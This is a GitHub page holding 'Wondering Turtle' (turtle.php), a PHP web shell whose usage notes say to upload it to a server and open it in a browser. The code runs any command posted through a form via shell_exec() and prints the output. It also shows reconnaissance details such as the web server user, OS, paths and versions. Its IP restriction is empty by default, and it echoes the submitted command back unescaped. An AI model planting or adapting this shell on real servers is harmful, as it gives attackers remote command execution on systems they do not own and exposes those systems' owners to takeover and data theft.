-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathturtle.php
More file actions
166 lines (156 loc) · 4.21 KB
/
turtle.php
File metadata and controls
166 lines (156 loc) · 4.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<?php
/**
* Wondering Turtle
*
* Quick and dirty example of running a shell inside php
*
* This started as a challenge to myself: could I write it or must I
* google around for one of the usual fancy ones?
*
* Usage:
* 1. Upload it to a directory you have access to, noting its filename
* 2. Point your browser to it. It should work with most browsers including
* lynx
*
* Issues:
* 0. Not very elegant code
* 1. Depends on php
* 2. Not encrypted
* 3. Needs upload option
*
* 0.1.0 : initial version, just enough to get stuff done
* 0.2.0 : o Replace system() with more php-specific ways to get info
* o Rewrite it so you can tell it to only create page if it is being
* accessed from your (external?) IP
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* @package wondering-turtle
* @author Mauricio Tavares <raubvogel@gmail.com>
* @copyright 2013 Mauricio Tavares
* @license GPL3
* @link https://github.com/raubvogel/wondering-turtle
* @since File availavle since release 0.2.0
*
*/
/**
* USER-customizable crap
*/
$safeIP = ""; // Only IP that can run this script from
/**
* Useful info. Expand as needed
*
* Remember most of this should be printed in the table below
*/
$user = getenv('APACHE_RUN_USER'); // Web server user
$path = realpath(dirname(__FILE__)); // Path this script resides at
$os = php_uname('a');
$webserverversion = $_SERVER['SERVER_SOFTWARE'];
$phpver = phpversion();
$webhostname = $_SERVER['SERVER_NAME']; // Virtual hostname
$hostname = php_uname('n'); // SERVER hostname
$myname = $_SERVER['SCRIPT_NAME'] ; // What did you call this script over there
$userbrowser = $_SERVER['HTTP_USER_AGENT'] ;
$useraddr = $_SERVER['REMOTE_ADDR']; // IP YOU are coming from
$header = <<<EOS
<html>
<head>
<title>Wondering Turtle</title>
</head>
<body>
EOS;
$footer = <<<EOF
</body>
</html>
EOF;
/**
* Form where you enter your commands.
*
* Of course, if this is running in a Windows box, you might not go very
* far using Linux commands.
*/
$form = <<<EOF
<form action="$myname" method="post">
<p>Command: <input type="text" name="command" /></p>
<p><input type="submit" /></p>
</form>
EOF;
/**
* Spit out some useful info about the webserver
*/
$info = <<<EOT
<h3>General Information</h3>
<table>
<tr>
<td>Web server user:</td>
<td><pre>$user</pre></td>
</tr>
<tr>
<td>os:</td>
<td><pre>$os</pre></td>
</tr>
<tr>
<td>Path where I am at:</td>
<td><pre>$path</pre></td>
</tr>
<tr>
<td>Website's real hostname:</td>
<td><pre>$hostname</pre></td>
</tr>
<tr>
<td>Website's hostname:</td>
<td><pre>$webhostname</pre></td>
</tr>
<tr>
<td>Web server version:</td>
<td><pre>$webserverversion</pre></td>
</tr>
<tr>
<td>php version:</td>
<td><pre>$phpver</pre></td>
</tr>
<tr>
<td>YOUR IP:</td>
<td><pre>$useraddr</pre></td>
</tr>
<tr>
<td>YOUR browser:</td>
<td><pre>$userbrowser</pre></td>
</tr>
</table>
EOT;
/**
* Show the output of the command you entered in the form
*/
if (!empty($_POST)) {
$input = $_POST['command'];
$output = htmlspecialchars(shell_exec($_POST['command']));
$command = <<<EOC
<h3>Command</h3>
<pre>$input</pre>
<h3>Reply</h3>
<pre>$output</pre>
EOC;
}
/**
* Only create page if safeIP is either undefined or matches your IP
*/
if ( empty($safeIP) || $safeIP == $useraddr){
echo $header;
echo $info;
echo $form;
echo $command;
echo $footer;
}
?>